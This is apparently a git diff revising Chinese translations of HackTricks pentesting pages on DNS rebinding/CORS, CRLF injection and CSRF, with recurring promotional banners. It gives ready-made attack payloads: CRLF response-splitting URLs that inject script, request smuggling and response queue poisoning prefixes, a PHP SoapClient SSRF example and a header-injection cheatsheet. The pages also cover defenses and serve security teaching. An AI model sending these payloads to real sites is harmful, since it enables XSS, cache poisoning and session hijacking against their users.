记录,其中一个是 "0.0.0.0" +请注意,为了访问localhost,您应该尝试在Windows中重新绑定**127.0.0.1**,在Linux中重新绑定**0.0.0.0**。\ +像godaddy或cloudflare这样的提供商不允许我使用IP 0.0.0.0,但AWS route53允许我创建一个具有两个IP的A记录,其中一个是"0.0.0.0" {% endhint %} -有关更多信息,请查看 [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) -### 其他常见绕过方式 +有关更多信息,您可以查看[https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) -* 如果**不允许内部IP**,可能会**忘记禁止0.0.0.0**(适用于Linux和Mac) -* 如果**不允许内部IP**,可以响应一个**CNAME**到**localhost**(适用于Linux和Mac) -* 如果**不允许内部IP**作为DNS响应,可以响应**CNAME到内部服务**,如www.corporate.internal。 +### Other Common Bypasses -### 武器化的DNS Rebinding +* 如果**不允许内部IP**,他们可能**忘记禁止0.0.0.0**(在Linux和Mac上有效) +* 如果**不允许内部IP**,则响应**CNAME**到**localhost**(在Linux和Mac上有效) +* 如果**不允许内部IP**作为DNS响应,您可以响应**CNAME到内部服务**,例如www.corporate.internal。 -您可以在演讲[Gerald Doussot - DNS Rebinding攻击的现状和起源的独特性 - DEF CON 27大会](https://www.youtube.com/watch?v=y9-0lICNjOQ)中找到有关先前绕过技术以及如何使用以下工具的更多信息。 +### DNS Rebidding Weaponized -[**`起源的独特性`**](https://github.com/nccgroup/singularity)是一个用于执行[DNS Rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括重新绑定攻击服务器DNS名称的IP地址到目标机器的IP地址以及提供攻击载荷以利用目标机器上的易受攻击软件所需的组件。 +您可以在演讲[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)中找到有关先前绕过技术的更多信息以及如何使用以下工具。 -### 针对DNS Rebinding的真实保护 +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)是一个执行[DNS重绑定](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括将攻击服务器DNS名称的IP地址重新绑定到目标机器的IP地址并提供攻击有效载荷以利用目标机器上脆弱软件所需的组件。 + +### Real Protection against DNS Rebinding * 在内部服务中使用TLS * 请求身份验证以访问数据 -* 验证主机头 -* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): 建议当公共服务器想要访问内部服务器时始终发送预检请求 +* 验证Host头 +* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/):提议在公共服务器想要访问内部服务器时始终发送预检请求 -## **工具** +## **Tools** -**模糊CORS策略中可能的配置错误** +**Fuzz可能的CORS政策配置错误** * [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8) * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) @@ -369,7 +371,7 @@ DNS 重绑定可用于绕过受害者执行的显式 IP 检查,或者用于用 * [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe) * [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) -## 参考资料 +## References * [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors) * [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin) @@ -385,16 +387,17 @@ DNS 重绑定可用于绕过受害者执行的显式 IP 检查,或者用于用 {% embed url="https://websec.nl/" %} +{% hint style="success" %} +学习和实践AWS黑客攻击:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践GCP黑客攻击:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持HackTricks -支持HackTricks的其他方式: - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
+{% endhint %} diff --git a/pentesting-web/crlf-0d-0a.md b/pentesting-web/crlf-0d-0a.md index dd9156854..c230f7717 100644 --- a/pentesting-web/crlf-0d-0a.md +++ b/pentesting-web/crlf-0d-0a.md @@ -1,104 +1,107 @@ # CRLF (%0D%0A) 注入 +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %}
-**漏洞赏金提示**:**注册** Intigriti,这是一家由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金! +**漏洞赏金提示**:**注册** **Intigriti**,一个由黑客为黑客创建的高级 **漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金! {% embed url="https://go.intigriti.com/hacktricks" %} ### CRLF -回车符(CR)和换行符(LF)合称为 CRLF,是 HTTP 协议中用于表示行尾或新行开头的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头和响应主体。这些字符在各种 Web 服务器类型(如 Apache 和 Microsoft IIS)的 HTTP/1.1 通信中被广泛使用。 +回车 (CR) 和换行 (LF),统称为 CRLF,是在 HTTP 协议中用于表示行结束或新行开始的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体。这些字符在各种 Web 服务器类型(如 Apache 和 Microsoft IIS)中普遍用于 HTTP/1.1 通信。 ### CRLF 注入漏洞 -CRLF 注入涉及将 CR 和 LF 字符插入用户提供的输入中。此操作会误导服务器、应用程序或用户,使其将插入的序列解释为一个响应的结束和另一个响应的开始。虽然这些字符本身并不具有危害性,但它们的误用可能导致 HTTP 响应拆分和其他恶意活动。 +CRLF 注入涉及将 CR 和 LF 字符插入用户提供的输入中。这一行为误导服务器、应用程序或用户将注入的序列解释为一个响应的结束和另一个响应的开始。虽然这些字符本身并不具害,但其误用可能导致 HTTP 响应分割和其他恶意活动。 ### 示例:日志文件中的 CRLF 注入 -[此处的示例](https://www.invicti.com/blog/web-security/crlf-http-header/)给出了一个在管理面板中的日志文件示例,其格式为:`IP - 时间 - 访问路径`。典型条目可能如下所示: +[示例来自这里](https://www.invicti.com/blog/web-security/crlf-http-header/) + +考虑一个管理员面板中的日志文件,其格式为:`IP - 时间 - 访问路径`。一个典型的条目可能看起来像: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` -攻击者可以利用CRLF注入来操纵这个日志。通过在HTTP请求中注入CRLF字符,攻击者可以改变输出流并伪造日志条目。例如,一个注入的序列可能会将日志条目转换为: +攻击者可以利用CRLF注入来操纵此日志。通过在HTTP请求中注入CRLF字符,攻击者可以更改输出流并伪造日志条目。例如,注入的序列可能会将日志条目转换为: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -在这里,`%0d` 和 `%0a` 分别代表了 CR 和 LF 的 URL 编码形式。攻击后,日志会误导性地显示: +这里,`%0d` 和 `%0a` 代表 CR 和 LF 的 URL 编码形式。攻击后,日志会误导性地显示: ``` IP - Time - Visited Path 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -攻击者通过使恶意活动看起来像是本地主机(通常在服务器环境中受信任的实体)执行了这些操作来掩盖他们的恶意活动。服务器将以 `%0d%0a` 开头的查询部分解释为单个参数,而 `restrictedaction` 参数被解析为另一个单独的输入。操纵后的查询有效地模仿了一个合法的管理命令:`/index.php?page=home&restrictedaction=edit` +攻击者通过使其恶意活动看起来像是本地主机(在服务器环境中通常被信任的实体)执行的操作,从而掩盖其恶意活动。服务器将以 `%0d%0a` 开头的查询部分解释为单个参数,而 `restrictedaction` 参数则被解析为另一个独立的输入。被操控的查询有效地模拟了一个合法的管理命令:`/index.php?page=home&restrictedaction=edit` -### HTTP响应拆分 +### HTTP 响应拆分 #### 描述 -HTTP响应拆分是一种安全漏洞,当攻击者利用HTTP响应的结构时会出现这种漏洞。这种结构使用特定字符序列,回车(CR)后跟换行(LF),总称为CRLF,将头部与主体分开。如果攻击者设法在响应头部中插入CRLF序列,他们可以有效地操纵随后的响应内容。这种操纵可能导致严重的安全问题,尤其是跨站脚本(XSS)。 +HTTP 响应拆分是一种安全漏洞,发生在攻击者利用 HTTP 响应的结构时。该结构使用特定字符序列将头部与主体分开,即回车(CR)后跟换行(LF),统称为 CRLF。如果攻击者设法在响应头中插入 CRLF 序列,他们可以有效地操控后续的响应内容。这种操控可能导致严重的安全问题,特别是跨站脚本(XSS)。 -#### 通过HTTP响应拆分实现XSS +#### 通过 HTTP 响应拆分进行 XSS -1. 应用程序设置一个自定义头部,如:`X-Custom-Header: UserInput` -2. 应用程序从查询参数中获取 `UserInput` 的值,比如 "user\_input"。在缺乏适当输入验证和编码的情况下,攻击者可以构造一个有效负载,其中包含CRLF序列,后跟恶意内容。 -3. 攻击者使用一个特别设计的 'user\_input' 构造URL:`?user_input=Value%0d%0a%0d%0a` -* 在这个URL中,`%0d%0a%0d%0a` 是CRLFCRLF的URL编码形式。它欺骗服务器插入CRLF序列,使服务器将随后的部分视为响应主体。 -4. 服务器在响应头部中反射攻击者的输入,导致意外的响应结构,其中恶意脚本被浏览器解释为响应主体的一部分。 +1. 应用程序设置一个自定义头,如:`X-Custom-Header: UserInput` +2. 应用程序从查询参数中获取 `UserInput` 的值,比如 "user\_input"。在缺乏适当输入验证和编码的情况下,攻击者可以构造一个包含 CRLF 序列及恶意内容的有效载荷。 +3. 攻击者构造一个带有特殊构造的 'user\_input' 的 URL:`?user_input=Value%0d%0a%0d%0a` +* 在这个 URL 中,`%0d%0a%0d%0a` 是 CRLFCRLF 的 URL 编码形式。它欺骗服务器插入一个 CRLF 序列,使服务器将后续部分视为响应主体。 +4. 服务器在响应头中反映攻击者的输入,导致意外的响应结构,其中恶意脚本被浏览器解释为响应主体的一部分。 -#### 通过HTTP响应拆分导致重定向的示例 +#### HTTP 响应拆分导致重定向的示例 来自 [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) -浏览器到: +浏览器到: ``` /%0d%0aLocation:%20http://myweb.com ``` -服务器响应的头部为: +而服务器响应的头部是: ``` Location: http://myweb.com ``` -**其他示例:(来自** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** +**其他示例:(来自** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` -#### 在URL路径中 +#### 在 URL 路径中 -您可以将**有效负载放在URL路径中**,以控制服务器的**响应**(例如来自[这里](https://hackerone.com/reports/192667)): +您可以将有效负载**放在 URL 路径中**以控制服务器的**响应**(示例来自[这里](https://hackerone.com/reports/192667)): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -查看更多示例: +Check more examples in: {% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} -### HTTP 头注入 +### HTTP Header Injection -HTTP 头注入经常通过 CRLF(回车和换行)注入进行利用,允许攻击者插入 HTTP 头。这可能会破坏安全机制,如 XSS(跨站脚本)过滤器或 SOP(同源策略),潜在地导致对敏感数据的未经授权访问,如 CSRF 令牌,或通过 cookie 注入操纵用户会话。 +HTTP Header Injection,通常通过 CRLF(回车和换行)注入进行利用,允许攻击者插入 HTTP 头。这可能会破坏安全机制,例如 XSS(跨站脚本)过滤器或 SOP(同源策略),可能导致对敏感数据(如 CSRF 令牌)的未经授权访问,或通过植入 cookie 操纵用户会话。 -#### 通过 HTTP 头注入利用 CORS +#### Exploiting CORS via HTTP Header Injection -攻击者可以注入 HTTP 头以启用 CORS(跨域资源共享),绕过 SOP 强加的限制。这种漏洞允许来自恶意来源的脚本与来自不同来源的资源进行交互,潜在地访问受保护的数据。 +攻击者可以注入 HTTP 头以启用 CORS(跨源资源共享),绕过 SOP 施加的限制。这一漏洞允许来自恶意来源的脚本与来自不同来源的资源进行交互,可能访问受保护的数据。 -#### 通过 CRLF 利用 SSRF 和 HTTP 请求注入 +#### SSRF and HTTP Request Injection via CRLF -CRLF 注入可用于构建并注入全新的 HTTP 请求。一个显著的示例是 PHP 的 `SoapClient` 类中的漏洞,特别是在 `user_agent` 参数内。通过操纵此参数,攻击者可以插入额外的头部和正文内容,甚至完全注入一个新的 HTTP 请求。以下是一个演示此利用的 PHP 示例: +CRLF 注入可用于构造和注入一个全新的 HTTP 请求。一个显著的例子是 PHP 的 `SoapClient` 类中的漏洞,特别是在 `user_agent` 参数内。通过操纵此参数,攻击者可以插入额外的头和主体内容,甚至完全注入一个新的 HTTP 请求。以下是一个演示此利用的 PHP 示例: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -123,57 +126,57 @@ array( # Put a netcat listener on port 9090 $client->__soapCall("test", []); ``` -### 利用头部注入进行请求串改 +### Header Injection to Request Smuggling -有关此技术和潜在问题的更多信息,请[**查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。 +有关此技术和潜在问题的更多信息 [**请查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。 -您可以注入必要的头部,以确保**后端在响应初始请求后保持连接打开**: +您可以注入必要的头部,以确保 **后端在响应初始请求后保持连接打开**: ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -之后,可以指定第二个请求。这种情况通常涉及[HTTP请求走私](http-request-smuggling/),这是一种技术,其中服务器在注入后附加的额外标头或主体元素可能导致各种安全漏洞。 +在此之后,可以指定第二个请求。此场景通常涉及[HTTP request smuggling](http-request-smuggling/),这是一种技术,其中服务器在注入后附加的额外头部或主体元素可能导致各种安全漏洞。 **利用:** -1. **恶意前缀注入**:这种方法涉及通过指定恶意前缀来毒化下一个用户的请求或Web缓存。一个示例是: +1. **恶意前缀注入**:此方法涉及通过指定恶意前缀来毒害下一个用户的请求或网络缓存。一个例子是: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **为响应队列毒化制作前缀**:这种方法涉及创建一个前缀,当与尾部垃圾组合时,形成一个完整的第二个请求。这可能触发响应队列毒化。一个示例是: +2. **为响应队列毒害构造前缀**:此方法涉及创建一个前缀,当与尾部垃圾结合时,形成一个完整的第二个请求。这可以触发响应队列毒害。一个例子是: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` -### Memcache注入 +### Memcache 注入 -Memcache是一个使用明文协议的**键值存储**。更多信息请参阅: +Memcache 是一个**使用明文协议的键值存储**。更多信息请参见: {% content-ref url="../network-services-pentesting/11211-memcache/" %} [11211-memcache](../network-services-pentesting/11211-memcache/) {% endcontent-ref %} -**阅读完整信息请查看**[**原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) +**有关完整信息,请阅读**[ **原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -如果一个平台从HTTP请求中获取数据并在未经过消毒的情况下使用它来向**memcache**服务器执行**请求**,攻击者可以利用这种行为来**注入新的memcache命令**。 +如果一个平台从**HTTP请求中获取数据并在未清理的情况下使用它**来向**memcache**服务器执行**请求**,攻击者可能会利用这种行为**注入新的 memcache 命令**。 -例如,在最初发现的漏洞中,缓存键用于返回用户应连接到的IP和端口,攻击者能够**注入memcache命令**,这些命令会**毒化**缓存以将受害者的详细信息(包括用户名和密码)发送到攻击者的服务器: +例如,在最初发现的漏洞中,缓存键用于返回用户应连接的 IP 和端口,攻击者能够**注入 memcache 命令**,这将**毒害**缓存以将受害者的详细信息(包括用户名和密码)发送到攻击者的服务器:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-此外,研究人员还发现他们可以使memcache响应脱节,将攻击者的IP和端口发送给攻击者不知道其电子邮件的用户: +此外,研究人员还发现,他们可以使 memcache 响应不同步,以将攻击者的 IP 和端口发送给攻击者不知道其电子邮件的用户:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
-### 如何防止Web应用程序中的CRLF / HTTP标头注入 +### 如何防止 Web 应用程序中的 CRLF / HTTP 头注入 -为了减轻Web应用程序中CRLF(回车符和换行符)或HTTP标头注入的风险,建议采取以下策略: +为了减轻 Web 应用程序中 CRLF(回车和换行)或 HTTP 头注入的风险,建议采取以下策略: -1. **避免在响应标头中直接使用用户输入**:最安全的方法是避免直接将用户提供的输入合并到响应标头中。 -2. **编码特殊字符**:如果无法避免直接使用用户输入,请确保使用专门用于编码特殊字符(如CR(回车符)和LF(换行符))的函数。这种做法可以防止CRLF注入的可能性。 -3. **更新编程语言**:定期将Web应用程序中使用的编程语言更新到最新版本。选择一个在负责设置HTTP标头的函数中禁止CR和LF字符注入的版本。 +1. **避免在响应头中直接使用用户输入**:最安全的方法是避免将用户提供的输入直接纳入响应头中。 +2. **编码特殊字符**:如果无法避免直接用户输入,请确保使用专门用于编码特殊字符(如 CR 和 LF)的函数。这种做法可以防止 CRLF 注入的可能性。 +3. **更新编程语言**:定期将用于 Web 应用程序的编程语言更新到最新版本。选择一个本质上不允许在设置 HTTP 头的函数中注入 CR 和 LF 字符的版本。 -### 速查表 +### CHEATSHEET -[从这里获取速查表](https://twitter.com/NinadMishra5/status/1650080604174667777) +[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777) ``` 1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) @@ -195,7 +198,7 @@ Memcache是一个使用明文协议的**键值存储**。更多信息请参阅 • %E5%98%BC = %3C = \u563c (<) • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test ``` -## 自动化工具 +## 自动工具 * [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) * [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) @@ -213,20 +216,21 @@ Memcache是一个使用明文协议的**键值存储**。更多信息请参阅
-**漏洞悬赏提示**: **注册** Intigriti,一个由黑客创建的高级**漏洞悬赏平台**!立即加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的悬赏! +**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金! {% embed url="https://go.intigriti.com/hacktricks" %} +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)系列 -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。** -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index 5e0784ab8..8d2ad356b 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -1,113 +1,114 @@ -# CSRF(跨站请求伪造) +# CSRF (跨站请求伪造) + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %}
-加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流! +加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流! **黑客见解**\ -参与深入探讨黑客的刺激和挑战的内容 +参与深入探讨黑客的刺激与挑战的内容 **实时黑客新闻**\ -通过实时新闻和见解及时了解快节奏的黑客世界 +通过实时新闻和见解,保持对快速变化的黑客世界的了解 **最新公告**\ -随时了解最新的赏金计划发布和重要平台更新 +了解最新的漏洞赏金计划和重要平台更新 -**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作! +**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作! -## 解释跨站请求伪造(CSRF) +## 跨站请求伪造 (CSRF) 解释 -**跨站请求伪造(CSRF)**是一种在Web应用程序中发现的安全漏洞类型。它使攻击者能够利用受害用户的已验证会话代表其执行操作。当登录到受害者平台的用户访问恶意站点时,攻击就会执行。然后,该站点通过执行JavaScript、提交表单或获取图像等方法触发对受害者帐户的请求。 +**跨站请求伪造 (CSRF)** 是一种在 web 应用程序中发现的安全漏洞。它使攻击者能够通过利用用户的认证会话,代表毫无防备的用户执行操作。当一个已登录受害者平台的用户访问恶意网站时,攻击就会被执行。该网站随后通过执行 JavaScript、提交表单或获取图像等方法触发对受害者账户的请求。 -### CSRF攻击的先决条件 +### CSRF 攻击的前提条件 -要利用CSRF漏洞,必须满足几个条件: +要利用 CSRF 漏洞,必须满足几个条件: -1. **识别有价值的操作**:攻击者需要找到值得利用的操作,例如更改用户的密码、电子邮件或提升权限。 -2. **会话管理**:用户的会话应仅通过Cookie或HTTP基本身份验证标头进行管理,因为其他标头无法用于此目的进行操作。 -3. **无法预测的参数**:请求不应包含无法预测的参数,因为这些参数可能会阻止攻击。 +1. **识别有价值的操作**:攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。 +2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP 基本认证头进行管理,因为其他头无法用于此目的。 +3. **缺乏不可预测的参数**:请求中不应包含不可预测的参数,因为它们可能会阻止攻击。 ### 快速检查 -您可以**在Burp中捕获请求**并检查CSRF保护,并且可以单击**复制为fetch**以从浏览器测试请求: +您可以在 Burp 中**捕获请求**并检查 CSRF 保护,您可以从浏览器中点击 **复制为 fetch** 并检查请求:
